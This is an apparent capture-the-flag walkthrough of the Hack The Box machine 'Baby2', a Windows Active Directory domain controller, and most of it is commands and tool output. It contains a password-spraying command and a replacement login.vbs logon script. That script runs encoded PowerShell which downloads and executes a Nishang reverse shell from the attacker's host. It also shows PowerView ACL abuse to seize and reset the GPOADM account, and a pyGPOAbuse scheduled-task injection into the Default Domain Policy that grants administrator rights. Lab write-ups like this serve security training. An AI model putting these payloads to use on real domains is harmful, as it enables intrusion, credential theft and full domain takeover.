Overview

The machine starts by SMB enumeration as Guest that reveals a writable homes share and a login.vbs in NETLOGON, then password spraying with username-as-password finds carl.moore and library accounts, using carl.moore write access over SYSVOL to replace login.vbs with a reverse shell payload gets shell as amelia.griffiths, BloodHound reveals amelia is in the Legacy group with WriteDacl and WriteOwner over the GPOADM user who holds GenericAll over Default Domain Policy, abusing those ACLs via PowerView to take ownership and reset GPOADM's password then using pyGPOAbuse to inject a scheduled task that adds GPOADM to local admins and forcing gpupdate gets shell as Administrator.

Enumeration

as usual we'll start with nmap scan

and as you can see we got SMB, RDP, NETBIOS, LDAP, Kerberos and DNS and probably some RPCs so it is an active directory environment what we got is

  • domain name is baby2.vl and hostname is dc so the FQDN is dc.baby2.vl
  • there is ADCS in place with the CA baby2-CA
  • we are good time-skew wise

Started by adding the domain names to the hosts file and generating krb5 file to setup the environment

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/BabyTwo]
└──╼ [★]$ echo '10.129.234.72 dc dc.baby2.vl baby2.vl' | sudo tee -a /etc/hosts
10.129.234.72 dc dc.baby2.vl baby2.vl
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/BabyTwo]
└──╼ [★]$ nxc smb 10.129.234.72 -u '' -p '' --generate-krb5-file krb5.conf
SMB 10.129.234.72 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:baby2.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.234.72 445 DC [+] krb5 conf saved to: krb5.conf
SMB 10.129.234.72 445 DC [+] Run the following command to use the conf file: export KRB5_CONFIG=krb5.conf
SMB 10.129.234.72 445 DC [+] baby2.vl\:
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/BabyTwo]
└──╼ [★]$ sudo mv krb5.conf /etc/krb5.conf 

SMB share access

so i started by trying null authentication for smb and we got that Guest account is find (not disabled) so i listed shares and got read access to multiple shares and even got write over one of them so lets take a look what's in there

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/BabyTwo]
└──╼ [★]$ nxc smb 10.129.234.72 -u Guest -p ''
SMB 10.129.234.72 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:baby2.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.234.72 445 DC [+] baby2.vl\Guest:
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/BabyTwo]
└──╼ [★]$ nxc smb 10.129.234.72 -u Guest -p '' --shares
SMB 10.129.234.72 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:baby2.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.234.72 445 DC [+] baby2.vl\Guest:
SMB 10.129.234.72 445 DC [*] Enumerated shares
SMB 10.129.234.72 445 DC Share Permissions Remark
SMB 10.129.234.72 445 DC ----- ----------- ------
SMB 10.129.234.72 445 DC ADMIN$ Remote Admin
SMB 10.129.234.72 445 DC apps READ
SMB 10.129.234.72 445 DC C$ Default share
SMB 10.129.234.72 445 DC docs
SMB 10.129.234.72 445 DC homes READ,WRITE
SMB 10.129.234.72 445 DC IPC$ READ Remote IPC
SMB 10.129.234.72 445 DC NETLOGON READ Logon server share
SMB 10.129.234.72 445 DC SYSVOL Logon server share

apps share

first i looked in shares and got 2 files first is lnk file which is a shortcut in Windows and it is named login and it is written in visual basic so it is interesting guessed we might find some kind of credentials in there

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/BabyTwo]
└──╼ [★]$ smbclient //10.129.234.72/apps -UGuest%''
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Sep  7 12:12:59 2023                                                         
  ..                                  D        0  Tue Aug 22 13:10:21 2023   
  dev D 0 Thu Sep 7 12:13:50 2023
                6126847 blocks of size 4096. 1963617 blocks available                                   
smb: \> cd dev
smb: \dev\> ls
  .                                   D        0  Thu Sep  7 12:13:50 2023
  ..                                  D        0  Thu Sep  7 12:12:59 2023   
  CHANGELOG A 108 Thu Sep 7 12:16:15 2023
  login.vbs.lnk                       A     1800  Thu Sep  7 12:13:23 2023
                6126847 blocks of size 4096. 1963617 blocks available                                   
smb: \dev\> mget *
Get file CHANGELOG? y
getting file \dev\CHANGELOG of size 108 as CHANGELOG (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)
Get file login.vbs.lnk? y
getting file \dev\login.vbs.lnk of size 1800 as login.vbs.lnk (3.0 KiloBytes/sec) (average 1.9 KiloBytes/sec)
smb: \dev\> exit

then lets take a look at the file

shell
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/BabyTwo]
└──╼ [★]$ cat login.vbs.lnk                         
L .dy=dy=9PO :+00/C:\V1Windows@ ᄄR@.4jWindowsT1WSYSVOL> WW.# ISYSVOLT1Wsysvol> WW.dsysvolZ1Wbaby2.vlB WW.ebaby2.vlV1Wscripts@ WW._M=scripts\2"Wv login.vbsD W"Wv.login.vbs-Xz$C:\Windows\SYSVOL\sysvol\baby2.vl\scripts\"\\DC\NETLOGONlogin.vbs9..\..\..\Windows\SYSVOL\sysvol\baby2.vl\scripts\login.vbs)C:\Windows\SYSVOL\sysvol\baby2.vl\scripts$
                                                        CBg
                                                           (#`Xdc)1Bsa~MdA
                                                                          )%)1Bsa~MdA
                                                                                     )% 1SPS0CGsf"id,scripts (C:\Windows\SYSVOL\sysvol\baby2.vl)1SPSXFL8C&mm-S-1-5-21-213243958-1766259620-4276976267-5001SPS0%G`%                                                   

login.vbs@.
           =VBScript Script File@dy=1SPSjc(=Oy4C:\Windows\SYSVOL\sysvol\baby2.vl\scripts\login.vbs91SPSmDpHH@.=xhH\)Kb V

and as you saw the file wasn't so much readable because it isn't ASCII text file so i wanted to look at the strings we can get out of it and maybe find the actual path of his login and as you can see we got the actual path i guess in SYSVOL so lets look at sysvol

shell
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/BabyTwo]
└──╼ [★]$ strings login.vbs.lnk 
/C:\
Windows
SYSVOL
sysvol
baby2.vl
scripts
login.vbs
C:\Windows\SYSVOL\sysvol\baby2.vl\scripts\
\\DC\NETLOGON
login.vbs
a~Md
a~Md
1SPS
sf"i
1SPS
1SPS0
1SPS
jc(=
1SPS

ofcourse this wouldn't work cause we don't have read access over the SYSVOL share as Guest

so I figured lets take a look at the NETLOGON share maybe the file is there cause it is also mentioned in the strings of the vbs file and i got login.vbs

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/BabyTwo]
└──╼ [★]$ smbclient //10.129.234.72/NETLOGON -UGuest%''
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Aug 25 01:30:39 2025
  ..                                  D        0  Tue Aug 22 10:43:55 2023
  login.vbs                           A      992  Sat Sep  2 07:55:51 2023

                6126847 blocks of size 4096. 1963520 blocks available
smb: \> get login.vbs

and we didn't find what we expected but we'll keep it we might need it later

so i started looking at homes and nothing was there even i looked in each user's home directory trying to find if this login.vbs is in one of these user directories then we can upload it to replace it and might get executed if one of them logs in but it was totally empty so i will keep those usernames and move on

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/BabyTwo]
└──╼ [★]$ smbclient //10.129.234.72/homes -UGuest%''
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Jun  4 07:24:39 2026           
  ..                                  D        0  Tue Aug 22 13:10:21 2023
  Amelia.Griffiths                    D        0  Tue Aug 22 13:17:06 2023
  Carl.Moore                          D        0  Tue Aug 22 13:17:06 2023
  Harry.Shaw                          D        0  Tue Aug 22 13:17:06 2023
  Joan.Jennings                       D        0  Tue Aug 22 13:17:06 2023
  Joel.Hurst                          D        0  Tue Aug 22 13:17:06 2023
  Kieran.Mitchell                     D        0  Tue Aug 22 13:17:06 2023
  library D 0 Tue Aug 22 13:22:47 2023
  Lynda.Bailey                        D        0  Tue Aug 22 13:17:06 2023
  Mohammed.Harris                     D        0  Tue Aug 22 13:17:06 2023
  Nicola.Lamb                         D        0  Tue Aug 22 13:17:06 2023
  Ryan.Jenkins                        D        0  Tue Aug 22 13:17:06 2023
                6126847 blocks of size 4096. 1963505 blocks available         

Rabbit hole

when it comes to writable shares there is a lot of attacks we can try like uploading lnk files and different type of files using tool like inkbomb or we can even try the lately discovered CVE in .library-ms files to trigger a NTLMv2 leak back to us both ways work so lets start with one of them

so i started with the .library-ms method and nothing came back so i will move to lnk files and we might go back to this library-ms maybe nxc messed something up

ss_20260604_074451.png

also tried the lnk but didn't work and this got me thinking

this isn't how you would think but it is a HTB machine, if the intended path would be me putting a file why leak the ntire users directories not just a single one or maybe couple for decoy

so I figured there is a reason for this, lets try to brute-force passwords for each user with password as the same as the username

even in the actual pentest that is something you would do first thing you find some usernames

Shell as Amelia

and as you can see we got two users first is library and second is carl so lets see what each user can do

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/BabyTwo]
└──╼ [★]$ nxc smb 10.129.234.72 -u usernames.txt -p usernames.txt --no-bruteforce --continue-on-success
SMB 10.129.234.72 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:baby2.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.234.72 445 DC [-] baby2.vl\Amelia.Griffiths:Amelia.Griffiths STATUS_LOGON_FAILURE
SMB 10.129.234.72 445 DC [+] baby2.vl\Carl.Moore:Carl.Moore
SMB 10.129.234.72 445 DC [-] baby2.vl\Harry.Shaw:Harry.Shaw STATUS_LOGON_FAILURE
SMB 10.129.234.72 445 DC [-] baby2.vl\Joan.Jennings:Joan.Jennings STATUS_LOGON_FAILURE
SMB 10.129.234.72 445 DC [-] baby2.vl\Joel.Hurst:Joel.Hurst STATUS_LOGON_FAILURE
SMB 10.129.234.72 445 DC [-] baby2.vl\Kieran.Mitchell:Kieran.Mitchell STATUS_LOGON_FAILURE
SMB 10.129.234.72 445 DC [+] baby2.vl\library:library
SMB 10.129.234.72 445 DC [-] baby2.vl\Lynda.Bailey:Lynda.Bailey STATUS_LOGON_FAILURE
SMB 10.129.234.72 445 DC [-] baby2.vl\Mohammed.Harris:Mohammed.Harris STATUS_LOGON_FAILURE
SMB 10.129.234.72 445 DC [-] baby2.vl\Nicola.Lamb:Nicola.Lamb STATUS_LOGON_FAILURE
SMB 10.129.234.72 445 DC [-] baby2.vl\Ryan.Jenkins:Ryan.Jenkins STATUS_LOGON_FAILURE

and as we can see we got both users have read and write over apps and homes with Guest we couldn't read docs and we couldn't write to apps so lets see what we can do

and even though we got read write nothing there

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/BabyTwo]
└──╼ [★]$ smbclient //10.129.234.72/docs -Ulibrary%'library'
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Jun  4 08:11:27 2026
  ..                                  D        0  Tue Aug 22 13:10:21 2023

                6126847 blocks of size 4096. 1960330 blocks available
smb: \> exit
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/BabyTwo]
└──╼ [★]$ smbclient //10.129.234.72/docs -U'Carl.Moore'%'Carl.Moore'
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Jun  4 08:11:27 2026
  ..                                  D        0  Tue Aug 22 13:10:21 2023

                6126847 blocks of size 4096. 1960328 blocks available
smb: \> ls
  .                                   D        0  Thu Jun  4 08:11:27 2026
  ..                                  D        0  Tue Aug 22 13:10:21 2023

                6126847 blocks of size 4096. 1960328 blocks available
smb: \> exit

so lets go back to the initial plan but now we are sure that login.vps gets executed once one of the users login so lets give it a shot but keep a copy of the original just in case we wanted it later

first i created the execution command for the shell

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/BabyTwo/shell]
└──╼ [★]$ echo 'IEX(New-Object Net.WebClient).DownloadString("http://10.10.16.83/shell.ps1")' | iconv -t UTF-16LE | base64 -w 0
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADgAMwAvAHMAaABlAGwAbAAuAHAAcwAxACIAKQAKAA==

then created this payload which just executes the payload we did in a powershell

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/BabyTwo/shell]
└──╼ [★]$ cat login.vbs 
Set objShell = CreateObject("WScript.Shell")
objShell.Run "powershell -nop -w hidden -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADgAMwAvAHMAaABlAGwAbAAuAHAAcwAxACIAKQAKAA=="

now what we need to do is to get the nishang shell and host it on a shell and open a listener then upload here is our normal shell now lets open both listeners the http one and nc on 4444

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/BabyTwo/shell]
└──╼ [★]$ cat shell.ps1 
$client = New-Object System.Net.Sockets.TCPClient('10.10.16.83',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ' ;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

and we uploaded the file to SYSVOL (will get back to that in a second)

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/BabyTwo/shell]
└──╼ [★]$ smbclient //10.129.234.72/SYSVOL -U'Carl.Moore'%'Carl.Moore'
Try "help" to get a list of possible commands.
smb: \> cd baby2.vl\scripts\
smb: \baby2.vl\scripts\> put login.vbs
putting file login.vbs as \baby2.vl\scripts\login.vbs (0.8 kb/s) (average 0.8 kb/s)
smb: \baby2.vl\scripts\>

and we got a shell back as the user amelia.griffiths ss_20260604_082749.png

Now you might be wondering how did we got only read access over SYSVOL as nxc says but we could write to it that's because the SYSVOL share permissions model is complicated it has 3 different levels

  • share permission
  • NTFS permission
  • GPO permission

and i guess nxc only checks share level access but because in this situation this must be the only way and it worked cause we maybe got write access over the scripts folder using NTFS share permission or maybe even a GPO

and we got user ss_20260604_083135.png

Bloodhound

we got access to LDAP as library user

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/BabyTwo/shell]
└──╼ [★]$ nxc ldap 10.129.234.72 -u 'library' -p 'library'
LDAP 10.129.234.72 389 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:baby2.vl) (signing:None) (channel binding:Never)
LDAP 10.129.234.72 389 DC [+] baby2.vl\library:library

Lets get bloodhound data and see what is going on in this domain

and the bloodhound data is a disaster we got 2 things lets start looking at them

the user amelia.griffiths is a member of group called legacy this legacy group grants it two things

  1. WriteDacl and WriteOwner over OU called GPO management Pasted image 20260604215936.png
  2. there is a user called GPOADM is part of this OU so we got also WriteDacl and WriteOwner on this groupPasted image 20260604215958.png

the issue GPOADM user got GenericAll over the entire domain policy so we literally can manipulate the entire domain policy as we need Pasted image 20260604220049.png

but we still need to write owner, dacledit and change password over the user GPOADM we don't have creds for the user amelia so we have to do the entire chain from powershell and we'll need powerview for this so lets upload it to the smb share homes and use it from there cause this share is accessible through folder on C (easier way to put tools)

First I uploaded nc.exe cause it provides stdin and err which will be better when dealing with non-standard powershell commands so lets try this

Shell as admin

Now what we did here that we imported the module, added ourselves as the owner of the user, added generic all to ourselves and reset the password to password we need

bash
PS C:\shares\homes> Import-Module ./powerview.ps1
Import-Module ./powerview.ps1
PS C:\shares\homes> Set-DomainObjectOwner -Identity GPOADM -OwnerIdentity AMELIA.GRIFFITHS
Set-DomainObjectOwner -Identity GPOADM -OwnerIdentity AMELIA.GRIFFITHS
PS C:\shares\homes> Add-DomainObjectAcl -TargetIdentity GPOADM -PrincipalIdentity AMELIA.GRIFFITHS -Rights All
Add-DomainObjectAcl -TargetIdentity GPOADM -PrincipalIdentity AMELIA.GRIFFITHS -Rights All
PS C:\shares\homes> $pass = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$pass = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\shares\homes> Set-DomainUserPassword -Identity GPOADM -AccountPassword $pass
Set-DomainUserPassword -Identity GPOADM -AccountPassword $pass
PS C:\shares\homes> Set-DomainUserPassword -Identity GPOADM -AccountPassword $pass

now if we try to login we'll see this

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/BabyTwo]
└──╼ [★]$ nxc smb 10.129.234.72 -u GPOADM -p 'Password123!'
SMB 10.129.234.72 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:baby2.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.234.72 445 DC [+] baby2.vl\GPOADM:Password123!

the GPOs are identified by GUIDs not names so we need to get that GUID for the Default Domain Policy and there is multiple ways to do this but the easiest way is from bloodhound

  1. click on the Default Domain Policy
  2. look at either the CNAME or the Gpcpath and you'll find it there Pasted image 20260604220401.png

add the GPOADM as administrator using pygpoabuse.py and the way it works is by setting a scheduled task into the GPO but we don't need to be administrator cause in this case the GPO runs as system cause I guess the DC itself runs the GPO scheduled tasks

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/BabyTwo/pyGPOAbuse]
└──╼ [★]$ python3 pygpoabuse.py 'baby2.vl/GPOADM:Password123!' -gpo-id 31B2F340-016D-11D2-945F-00C04FB984F9 -user-as-admin -dc-ip 10.129.234.72 -f -command "net localgroup
 administrators GPOADM /add"
[+] ScheduledTask TASK_46d67bd1 created!  

and the task was created

for the GPO to be actually applied we either need to wait 90 minutes for it to be updated or we can force update it right away from any user in the domain

plaintext
PS C:\shares\homes> gpupdate /force
Updating policy...

Computer Policy update has completed successfully.
User Policy update has completed successfully.

then login it'll work

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/BabyTwo/pyGPOAbuse]
└──╼ [★]$ evil-winrm -i dc.baby2.vl -u GPOADM -p 'Password123!'
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine                   
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\gpoadm\Documents> cd ..
cd *Evil-WinRM* PS C:\Users\gpoadm> cd ..
*Evil-WinRM* PS C:\Users> cd Administrator
*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
293500962edc31fa154951eeeb5740f9
*Evil-WinRM* PS C:\Users\Administrator\Desktop>

Resources